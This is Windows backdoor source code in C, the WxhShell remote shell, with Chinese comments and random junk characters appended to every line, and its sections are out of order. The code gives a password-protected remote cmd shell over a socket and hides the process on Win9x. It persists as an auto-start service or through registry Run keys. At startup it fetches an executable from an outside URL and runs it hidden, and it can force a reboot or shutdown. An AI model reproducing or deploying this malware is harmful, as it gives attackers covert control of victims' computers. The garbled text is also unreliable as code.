    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #Q-#7|0&  
    else { {cO8q }L  
    closesocket(wsh); ' u;Zw%O(J  
    ExitThread(0); qdmAkYUC  
    } _g( aO70Zu  
    break; wi+L 4v  
    } Yo=$@~vN]  
  // 获取shell o~L(;A]yN  
  case 's': { ~Lg ;7i1L  
    CmdShell(wsh); EE`[J0 (  
    closesocket(wsh); F#RNm5  
    ExitThread(0); x2r.4  
    break; W\5 -Yg(@  
  } mpVD;)?JmM  
  // 退出 G`Z<a  
  case 'x': { :PY6J}:&#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1CSGG'J]E  
    CloseIt(wsh); %X}vuE[[UC  
    break; j8PeO&n>  
    } !>=lah$&  
  // 离开 U /~uu  
  case 'q': { q8;MPXSG3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4`fV_H.8  
    closesocket(wsh); k'PvQl"I  
    WSACleanup(); 6K<o0=,jm2  
    exit(1); j72mm!  
    break; VlSM/y5  
        } KK4e'[Wf  
  } (!J;g|58  
  } ^8]7  
:F#^Q%-IS  
  // 提示信息 7#oq|5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >j$aY  
} h(J$-SUs  
  } C&%NO;Ole  
gyV`]uqG  
  return; 7N@[Rtv  
} NXDkGO/*  
zxD=q5in  
// shell模块句柄 [Ob'E!;<  
int CmdShell(SOCKET sock) L+T7Ge q  
{ "L1LL iS  
STARTUPINFO si; :RJo#ape  
ZeroMemory(&si,sizeof(si)); j6$@vA)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _3wK: T{:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; b`j9}t Z  
PROCESS_INFORMATION ProcessInfo; MLM/!N 7  
char cmdline[]="cmd"; $>uUn3hSx\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); f#m@eb  
  return 0; 4,h)<(d{  
} 8;c\} D  
Qp)?wny4  
// 自身启动模式 :hW(2=%  
int StartFromService(void) tX@y ]"  
{ _T~&kwe  
typedef struct VAUd^6Xdwx  
{ I>vU;xV\m  
  DWORD ExitStatus; ggkz fg&  
  DWORD PebBaseAddress; u^c/1H:6  
  DWORD AffinityMask; X eY[;}9  
  DWORD BasePriority; { D|ST2:E  
  ULONG UniqueProcessId; CR2.kuM0~  
  ULONG InheritedFromUniqueProcessId; G %\/[ B  
}   PROCESS_BASIC_INFORMATION; &DHIYj1 i  
P2iuB|B@  
PROCNTQSIP NtQueryInformationProcess; *zDDi(@vtK  
/-m)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c;-N RvVb  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *B{]  
0T#z"l<L  
  HANDLE             hProcess; ,_w}\'?L  
  PROCESS_BASIC_INFORMATION pbi; *P]]7DR  
f8qDmk5s  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D+! S\~u  
  if(NULL == hInst ) return 0; |8[!`T*s  
2J$vX(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); BhbfPQ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); tlg}"lY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); u2$.EM/iae  
uTPAf^|  
  if (!NtQueryInformationProcess) return 0; .3n\~Sn  
i O?f&u  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `,/5skeJ  
  if(!hProcess) return 0; f\q5{#"z  
I8B0@ZtV  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G|-RscPe  
_h,_HW)G  
  CloseHandle(hProcess); 3fXrwmBT8  
c+T`X?.j  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q8QB{*4  
if(hProcess==NULL) return 0; vdB2T2F  
i^Jw`eAmT  
HMODULE hMod; F^%\AA]8  
char procName[255]; Fv$w:r]q6  
unsigned long cbNeeded; m$(OQ,E  
Mw-L?j0o[k  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W?P4oKsql*  
4${3e Sg_  
  CloseHandle(hProcess); _5(p=Zc  
"$K]+0ryG<  
if(strstr(procName,"services")) return 1; // 以服务启动 Z1+Ewq3m  
Lp@Al#X55  
  return 0; // 注册表启动 !TY0;is  
} *b 0z/ 6  
z j#<X  
// 主模块 S Te8*=w  
int StartWxhshell(LPSTR lpCmdLine)  F0zaA  
{ YPq:z"`-y4  
  SOCKET wsl; M2d&7>N  
BOOL val=TRUE; qTwl\dcncC  
  int port=0; n@"<NKzh  
  struct sockaddr_in door; mvt-+K?U  
_LfbEv<,T  
  if(wscfg.ws_autoins) Install(); 9,\AAISi  
q+<,FdG  
port=atoi(lpCmdLine); $?gKIv>g  
(Pw,3CbJ  
if(port<=0) port=wscfg.ws_port; )dEcKH<#  
aUc#,t;Qd  
  WSADATA data; cq gCcO ,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; IuAu_`,Ndi  
P ecZuv  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   UGgo;e  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); KC2Z@  
  door.sin_family = AF_INET; fz|_c*&64  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7P*\|Sxk%  
  door.sin_port = htons(port); t98S[Z(-%+  
+_S0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { GVn'p Wg  
closesocket(wsl); 7 <]YK`a2d  
return 1; n6Uf>5  
}  < ]+Mdy  
wmXI8'~F&  
  if(listen(wsl,2) == INVALID_SOCKET) { z-g6d(  
closesocket(wsl); u(f;4`  
return 1; +|pYu<OY  
} gae=+@z  
  Wxhshell(wsl); 5T(cy  
  WSACleanup(); ZPq.|6&  
gV\Y>y4v  
return 0; p8YOow7)  
Ik5V?  
} ohJDu{V  
c{?SFwgd  
// 以NT服务方式启动 ,C 0y3pL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6w m-uu  
{ S<'_{uz  
DWORD   status = 0; Q2woCx B  
  DWORD   specificError = 0xfffffff; Lpkx$QZ  
$XMpC{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; a$^)~2U{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Pw7uxN`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; P,WQN[(+  
  serviceStatus.dwWin32ExitCode     = 0; <}8G1<QZ'.  
  serviceStatus.dwServiceSpecificExitCode = 0; S0:Oep   
  serviceStatus.dwCheckPoint       = 0; k&f/f  
  serviceStatus.dwWaitHint       = 0; |#yT]0L%pA  
CAom4 Sp'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {TJBB/B1  
  if (hServiceStatusHandle==0) return; `D=`xSEYl  
sN?Rx}  
status = GetLastError(); ?YV#  K  
  if (status!=NO_ERROR) `T7TWv"M  
{ `l.bU3C  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; I2SH j6 -  
    serviceStatus.dwCheckPoint       = 0; o&z[d  
    serviceStatus.dwWaitHint       = 0; DS7L}]  
    serviceStatus.dwWin32ExitCode     = status; e m)%U  
    serviceStatus.dwServiceSpecificExitCode = specificError; )flm3G2u  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); U,6sR  
    return; ,`YBTU  
  } \QF0(*!!  
!dh:jPpKq  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ct~j/.  
  serviceStatus.dwCheckPoint       = 0; zOFHdd ,"g  
  serviceStatus.dwWaitHint       = 0; A<TYt M  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Yh@2m9  
} A8ef=ljM?  
k4u/v n`&r  
// 处理NT服务事件,比如:启动、停止 qP##C&+#q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "XLtrAu{  
{ Yl"CIgt  
switch(fdwControl) "zQ<)Q]U  
{ S-~)|7d.  
case SERVICE_CONTROL_STOP: y^nT G  
  serviceStatus.dwWin32ExitCode = 0; o:3(J}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vx ' ];  
  serviceStatus.dwCheckPoint   = 0; wqV"fZA\]  
  serviceStatus.dwWaitHint     = 0; GXQ%lQ  
  { JhTr{8{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R2C~.d_TDu  
  } {[Y7h}7  
  return; jrz.n 4Y`  
case SERVICE_CONTROL_PAUSE: 'wMvO{}$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3^fwDt}  
  break; L+ XAbL)  
case SERVICE_CONTROL_CONTINUE: G{>PYLxOb  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; L Yd:S  
  break; Y`4 LMK[]  
case SERVICE_CONTROL_INTERROGATE: J=: \b  
  break; Q^3{L\6_  
}; S&XlMu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -vY5h%7kf  
} t?PqfVSq  
ScD E)r  
// 标准应用程序主函数 enQW;N1_M  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )s, t BU+N  
{ Kn=EDtg  
.j^BWr  
// 获取操作系统版本 T{m) = (q  
OsIsNt=GetOsVer(); $0un`&W  
GetModuleFileName(NULL,ExeFile,MAX_PATH); nTwJR  
8Lx1XbwK  
  // 从命令行安装 "$o>_+U  
  if(strpbrk(lpCmdLine,"iI")) Install(); g)TZ/,NQ{  
CxJ3u  
  // 下载执行文件 o,c}L9nvt  
if(wscfg.ws_downexe) { }S?"mg& V  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Z[] 8X@IPe  
  WinExec(wscfg.ws_filenam,SW_HIDE); zF>;7'\x  
} TecMQ0 KD  
|mRlP5  
if(!OsIsNt) { |j9aTv[`  
// 如果时win9x,隐藏进程并且设置为注册表启动 -\;0gnf{J  
HideProc(); qq<T~^  
StartWxhshell(lpCmdLine); (U# Oj"  
} 5p:BHw;%;  
else IpSWg  
  if(StartFromService()) 4KR`  
  // 以服务方式启动 )1Y?S;  
  StartServiceCtrlDispatcher(DispatchTable); 8Q)|8xpYS  
else w $-q&  
  // 普通方式启动 *) T"-}F  
  StartWxhshell(lpCmdLine); v@q&B|0  
-LUZ7,!/>o  
return 0; |3T2}ohrr  
} iDl#foXa`  
'bSWJ/;p)  
t^zE^:06  
:3 Hz!iZM  
=========================================== }d>.Nj#zh  
QKq4kAaJ!  
|%ZJN{!R  
wuYak"KX  
&QW&K  
_6r[msH"  
" #Y=b7|l  
z~~pH9=c2  
#include <stdio.h> 3BD&;.<r  
#include <string.h> "a~r'+'<  
#include <windows.h> Xa#.GrH6  
#include <winsock2.h> AH/o-$C&  
#include <winsvc.h> cb0rkmO  
#include <urlmon.h> Ay 4P_>^  
!m9hL>5vR  
#pragma comment (lib, "Ws2_32.lib") rEC  
#pragma comment (lib, "urlmon.lib") ;|?_C8  
@{_X@Wv4iV  
#define MAX_USER   100 // 最大客户端连接数 4;AQ12<[1  
#define BUF_SOCK   200 // sock buffer O< /b]<[  
#define KEY_BUFF   255 // 输入 buffer D]}~`SO  
h^Yh~84T  
#define REBOOT     0   // 重启 se2Y:v  
#define SHUTDOWN   1   // 关机 \aM-m:J  
_a& Z$2O  
#define DEF_PORT   5000 // 监听端口 Z8Y& #cB  
9{j`eAUZl  
#define REG_LEN     16   // 注册表键长度 9@q!~ur  
#define SVC_LEN     80   // NT服务名长度 >4kQ9lXL  
eZ[Qhrc  
// 从dll定义API r2'K'?T3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $|J+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <\Y(+?+uZ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 41Q)w=hoN  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hHVAN3e  
S,Q^M )$  
// wxhshell配置信息 S hy.:XI  
struct WSCFG { .$W}  
  int ws_port;         // 监听端口 x"R F[ d  
  char ws_passstr[REG_LEN]; // 口令 6|f8DX%3V  
  int ws_autoins;       // 安装标记, 1=yes 0=no C R?}*  
  char ws_regname[REG_LEN]; // 注册表键名 YLA(hg|  
  char ws_svcname[REG_LEN]; // 服务名 wXqwb|2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 iV?8'^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 YzM/?enK}T  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z]TQ+9t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^w``(-[*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p=> +3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 SSE,G!@  
O{\<Izm`D  
}; VBDb K|  
<D)@;A  
// default Wxhshell configuration o&@y^<UQ  
struct WSCFG wscfg={DEF_PORT, <bg6k .s  
    "xuhuanlingzhe", XP}5i!}}7=  
    1, &K9RV4M5  
    "Wxhshell", u1u;aG  
    "Wxhshell", q5EkAh<PD|  
            "WxhShell Service", SnXM`v,  
    "Wrsky Windows CmdShell Service", >.od(Fh{l|  
    "Please Input Your Password: ", 4xalm  
  1, W=293mME  
  "http://www.wrsky.com/wxhshell.exe", ~'0n ]Fw  
  "Wxhshell.exe" }b}jw.2Wu  
    }; 8$47Y2r@  
4]0:zS*O  
// 消息定义模块 SC2LY  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; StTxga|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]:?S}DRG  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $E^sA|KcT  
char *msg_ws_ext="\n\rExit."; rDoMz3[w  
char *msg_ws_end="\n\rQuit."; V/"RCqY4  
char *msg_ws_boot="\n\rReboot..."; PZZPx<?N  
char *msg_ws_poff="\n\rShutdown..."; Rc4=zimr+  
char *msg_ws_down="\n\rSave to "; pxedj  
=+T0[|gc(r  
char *msg_ws_err="\n\rErr!"; ,98 F  
char *msg_ws_ok="\n\rOK!"; 04v ~ K  
\vc&V8  
char ExeFile[MAX_PATH]; ~~k0&mK|Q  
int nUser = 0; s}` |!Vyl  
HANDLE handles[MAX_USER]; cyHbAtl  
int OsIsNt; %Y'/_ esH2  
q8/k $5E  
SERVICE_STATUS       serviceStatus; [kr-gV  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r^rk@W;[  
p= x &X~  
// 函数声明 !J<0.nO/:  
int Install(void); 4[;}/-  
int Uninstall(void); b 1Wz  
int DownloadFile(char *sURL, SOCKET wsh); [] "bn9 +  
int Boot(int flag); )t-P o'RW  
void HideProc(void); _1$Y\Y  
int GetOsVer(void); yW7>5r  
int Wxhshell(SOCKET wsl); IV':sNV  
void TalkWithClient(void *cs); ~.U \Y  
int CmdShell(SOCKET sock); hH;i_("i(h  
int StartFromService(void); zI S ,N '  
int StartWxhshell(LPSTR lpCmdLine); xnWezO_  
MwSfuP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0~W XA=XG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); o::9M_;  
4%_c9nat  
// 数据结构和表定义 MzKl=G  
SERVICE_TABLE_ENTRY DispatchTable[] = 09Eg ti.  
{ |G6'GTwZD  
{wscfg.ws_svcname, NTServiceMain}, &LB`  
{NULL, NULL} Ic!x y  
}; 2Y[n  
Y*#TfWv:  
// 自我安装 ls9Y?  
int Install(void) y<R5}F  
{ oPbziB8  
  char svExeFile[MAX_PATH]; w7pX]<?R"  
  HKEY key; edlf++r~  
  strcpy(svExeFile,ExeFile); J n2QvUAZ&  
\' A- Lp  
// 如果是win9x系统,修改注册表设为自启动 j%]sym  
if(!OsIsNt) { R!X+-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zYdieE\-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,`a8@  
  RegCloseKey(key); Em{;l:;(W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W}zq9|p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3?_%|;ga  
  RegCloseKey(key); 'BgR01w J  
  return 0; z/QYy)_j  
    } i7YUyU  
  } t*Z5{   
} FBouXu#  
else { !lsa5w{  
e!w2_6?3  
// 如果是NT以上系统,安装为系统服务 +`B^D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); sVmqx^-  
if (schSCManager!=0) PGYx] r  
{ +tg${3ti_  
  SC_HANDLE schService = CreateService Rm$(X5x>o  
  ( zO$r   
  schSCManager, 'T7 3V  
  wscfg.ws_svcname, vAeVQ~  
  wscfg.ws_svcdisp, ~Ij/vyB_  
  SERVICE_ALL_ACCESS, 4sH?85=j  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <KCyXU*  
  SERVICE_AUTO_START, ubVZEsoW?  
  SERVICE_ERROR_NORMAL, K g.O2F77  
  svExeFile, `0q=Z],  
  NULL, P;'ZdZ(SLu  
  NULL, u:l<NWF^  
  NULL, RwrRN+&s\  
  NULL, z?|bs?HKS  
  NULL 8+Gwv SDU  
  ); >T0`( #Lm  
  if (schService!=0) #(+V&< K  
  { -*J!Ws(9  
  CloseServiceHandle(schService); e?O$`lf  
  CloseServiceHandle(schSCManager); Vl<7>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "<)Jso|  
  strcat(svExeFile,wscfg.ws_svcname); o^owv(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { m&(qr5>b  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); v|]"uPxH?  
  RegCloseKey(key); $ZB`4!JxG  
  return 0; T;PLUjp}  
    } -'*<;]P+.  
  } 01RW|rN  
  CloseServiceHandle(schSCManager); H}CmSo8&  
} m$pRA0s2`  
} [!uVo>Q4  
^1_[UG  
return 1; AqaMi  
} d(b~s2\i  
U+E9l?4R  
// 自我卸载 n3-VqYUP  
int Uninstall(void) 1O,8=,K2a  
{ K,U8vc  
  HKEY key; m] -cRf)9  
3r,Kt&2$  
if(!OsIsNt) { V 7ZGT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JZ:yPvJ  
  RegDeleteValue(key,wscfg.ws_regname); GWWaH+F[h  
  RegCloseKey(key); H(M{hfa|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /?z3*x  
  RegDeleteValue(key,wscfg.ws_regname); 9v 8^uPA  
  RegCloseKey(key); #<u;.'R  
  return 0; Ra H1aS(  
  } [U"/A1p  
} !gfd!R  
} aS\$@41"  
else { 0bIgOLP  
yg~@} _C2_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); v#X#F9C  
if (schSCManager!=0) .`v%9-5v  
{ M#m;jJqON  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *BF[thB:a  
  if (schService!=0) CHD.b%_|  
  { 27$,D XD  
  if(DeleteService(schService)!=0) { a1_o  
  CloseServiceHandle(schService); * >8EMq\^  
  CloseServiceHandle(schSCManager); ?k;htJcGv  
  return 0; (-&d0a9N  
  } n}(A4^=4KQ  
  CloseServiceHandle(schService); 5wl;fL~e  
  } #5'& |<  
  CloseServiceHandle(schSCManager); $7i[7S4  
} 3Z&!zSK^  
} FC+h \  
D&~%w!  
return 1; Vry_X2  
} M:iH7K  
P*VZ$bUe5@  
// 从指定url下载文件 zZ<*  
int DownloadFile(char *sURL, SOCKET wsh) r`h".=oD  
{ DL!%Np?`  
  HRESULT hr; 4i+%~X@p  
char seps[]= "/"; ={N1j<%fh  
char *token; .V3e>8gw3  
char *file; W}MN-0  
char myURL[MAX_PATH]; ?A*!rW:l;  
char myFILE[MAX_PATH]; G'(rjH>q  
,w BfGpVb  
strcpy(myURL,sURL); Zzz94`  
  token=strtok(myURL,seps); +"=ydF.9  
  while(token!=NULL) A=p'`]Yld  
  { \4C[<Gbx$(  
    file=token; u |.7w 2  
  token=strtok(NULL,seps); u*,>$(-u  
  } )58 ~2vR  
*kYGXT,f]  
GetCurrentDirectory(MAX_PATH,myFILE); g-"GZi  
strcat(myFILE, "\\"); MtN!Xx  
strcat(myFILE, file); $60`Hh 4/  
  send(wsh,myFILE,strlen(myFILE),0); >V)"TZH  
send(wsh,"...",3,0); lI.oyR'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); uN>5Eh&=Pf  
  if(hr==S_OK) mZPvG  
return 0; 1+XM1(|c`  
else cGdYfi  
return 1; (}.MB3`#C  
nbf/WOCk  
} ]t`SCsoo  
gTU5r4xm~  
// 系统电源模块 ~dpf1fP  
int Boot(int flag) 5s`r&2 w  
{ )7o? }"I  
  HANDLE hToken; h,]VWG  
  TOKEN_PRIVILEGES tkp;  [)~1Lu  
;e/F( J  
  if(OsIsNt) { 18Z1F  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }*xjO/Ey  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "d0=uHd5\  
    tkp.PrivilegeCount = 1; ?# _{h  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; nhjT2Sl  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); C])s'XTs  
if(flag==REBOOT) { IOdxMzF`m  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) C1UU v=|  
  return 0; " r o'?  
} 1 ptyiy  
else { [0]A-#J  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ZILJXX4  
  return 0; v:yU+s|kN  
} y1Z>{SDiq  
  } [w|Klq5  
  else { ]W`?0VwF  
if(flag==REBOOT) { ,$> l[G;Bm  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) LCtVM70  
  return 0; _N^w5EBC]  
} &r4|WM/ec  
else { s*<T'0&w0S  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )`R}@(r.  
  return 0; %!(C?k!\  
} Y68A+ B.  
} qIsf!1I?  
6L$KMYHE  
return 1; 4"(rZWv  
} Dd pcov  
O#=%t  
// win9x进程隐藏模块 -eyF9++`  
void HideProc(void) dM= &?g  
{ s- PS]l@  
{5<fvMO!6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >V27#L2:J  
  if ( hKernel != NULL ) bp=r]nO  
  { 4R\jZ@D  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); jHn7H)F8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !|H,g wqU  
    FreeLibrary(hKernel); yV\%K6d|3&  
  } 1Kk6n UIN  
Abt<23$h  
return; PS+~JwDUc  
} NLG\*mQ  
Q!V:=d  
// 获取操作系统版本 -$[&{ .B.  
int GetOsVer(void) =f{v:n6  
{ /]!2 k9u\  
  OSVERSIONINFO winfo; a{hc{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Hxgc9Fis  
  GetVersionEx(&winfo); Q+9:]Bt  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ".(vR7u'  
  return 1; |. 0~'  
  else _O uNX.yrG  
  return 0; M.- {->  
} ?dCwo;~  
4dPTrBQ?  
// 客户端句柄模块 d9;&Y?fp  
int Wxhshell(SOCKET wsl) &|#[.ti1  
{ B#jnM~fJz  
  SOCKET wsh; nv@z;#&  
  struct sockaddr_in client; |`#fX(=  
  DWORD myID; E(|A"=\  
# 5)/B  
  while(nUser<MAX_USER) v>B412l  
{ __.MS6"N  
  int nSize=sizeof(client); A`f"<W-m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8TeOh 1\  
  if(wsh==INVALID_SOCKET) return 1; ,mp<<%{u  
/[FDiJH2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Zdqm|_R[  
if(handles[nUser]==0) |;wc8;  
  closesocket(wsh); gI;"PkN  
else )c' 45 bD  
  nUser++; \\KjiT'  
  } NF6xKwRU]_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {Fw"y %a^  
Rq5'=L  
  return 0; s~A-qG>  
} Lxv4w  
U\?D;ABQ%  
// 关闭 socket 49&i];:%7%  
void CloseIt(SOCKET wsh) +?o!"SJ  
{ (!5Ta7X  
closesocket(wsh); JpC=ACF  
nUser--; TsK!36cg  
ExitThread(0); S7f.^8  
} e>Z&0lV:  
nWIZ0Nde'  
// 客户端请求句柄 .c+U=bV-  
void TalkWithClient(void *cs) fe/;U=te  
{ : "| /  
fc*>ky.v  
  SOCKET wsh=(SOCKET)cs; h2Nt@  
  char pwd[SVC_LEN]; jL\j$'KC  
  char cmd[KEY_BUFF]; 9,INyEyAL  
char chr[1]; B\RAX#  
int i,j; $kTm"I  
Nt@|l7Xl*  
  while (nUser < MAX_USER) { Za{O9Qc?D|  
/f1]U LmC:  
if(wscfg.ws_passstr) { vF$( Y/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X+XDfEt:Q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -K =.A* }  
  //ZeroMemory(pwd,KEY_BUFF); \DQu!l@1U  
      i=0; < bC'.m  
  while(i<SVC_LEN) { .Q!d[vL  
,^?g\&f(  
  // 设置超时 qhxMO[f  
  fd_set FdRead; hi!A9T3%}M  
  struct timeval TimeOut; ;^xM" {G8  
  FD_ZERO(&FdRead); $C7a #?YF,  
  FD_SET(wsh,&FdRead); +Pl)E5W!=`  
  TimeOut.tv_sec=8; :6nD"5(  
  TimeOut.tv_usec=0; qhGz2<}_j  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); zX_F+"]THt  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); O3o ^%0  
Xs052c|s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kJ5z['4?  
  pwd=chr[0]; ^^"zjl*^  
  if(chr[0]==0xd || chr[0]==0xa) { ~-A"j\gi"  
  pwd=0; :lB`K>)iB}  
  break; j J{F0o  
  } LRu,_2"  
  i++; r89AX{:  
    } /&Oo)OB;  
DH?n~qKpC  
  // 如果是非法用户,关闭 socket c1k[)O~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;Yee0O!d4  
} !y b06Z\f  
B8Fb$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )&1v[]%S  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^H.B6h?  
Fa>f'VXx  
while(1) { #4bT8kq  
u4~+Bc_GL  
  ZeroMemory(cmd,KEY_BUFF); \.mVLLtG  
OK80-/8HI  
      // 自动支持客户端 telnet标准   "++\6 H<  
  j=0; 1@L18%h  
  while(j<KEY_BUFF) { n/5T{NfG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,<%uG6/",g  
  cmd[j]=chr[0]; 2/ 4zg  
  if(chr[0]==0xa || chr[0]==0xd) { t <` As6}  
  cmd[j]=0; Nj4CkMM[3  
  break; ]oV{JR]  
  }  b M1\z  
  j++; RdPk1?}K  
    } i4|R0>b  
\lQ3j8 U  
  // 下载文件 bIiun a\  
  if(strstr(cmd,"http://")) { y{@\8B]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?-)!dl%N  
  if(DownloadFile(cmd,wsh)) k 3m_L-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [=(8yUV'G  
  else l9f_NJHo  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OWewV@VXR  
  } m:h6J''<Z*  
  else { pRun5 )7  
Qa_V  
    switch(cmd[0]) { g:fvg!_v  
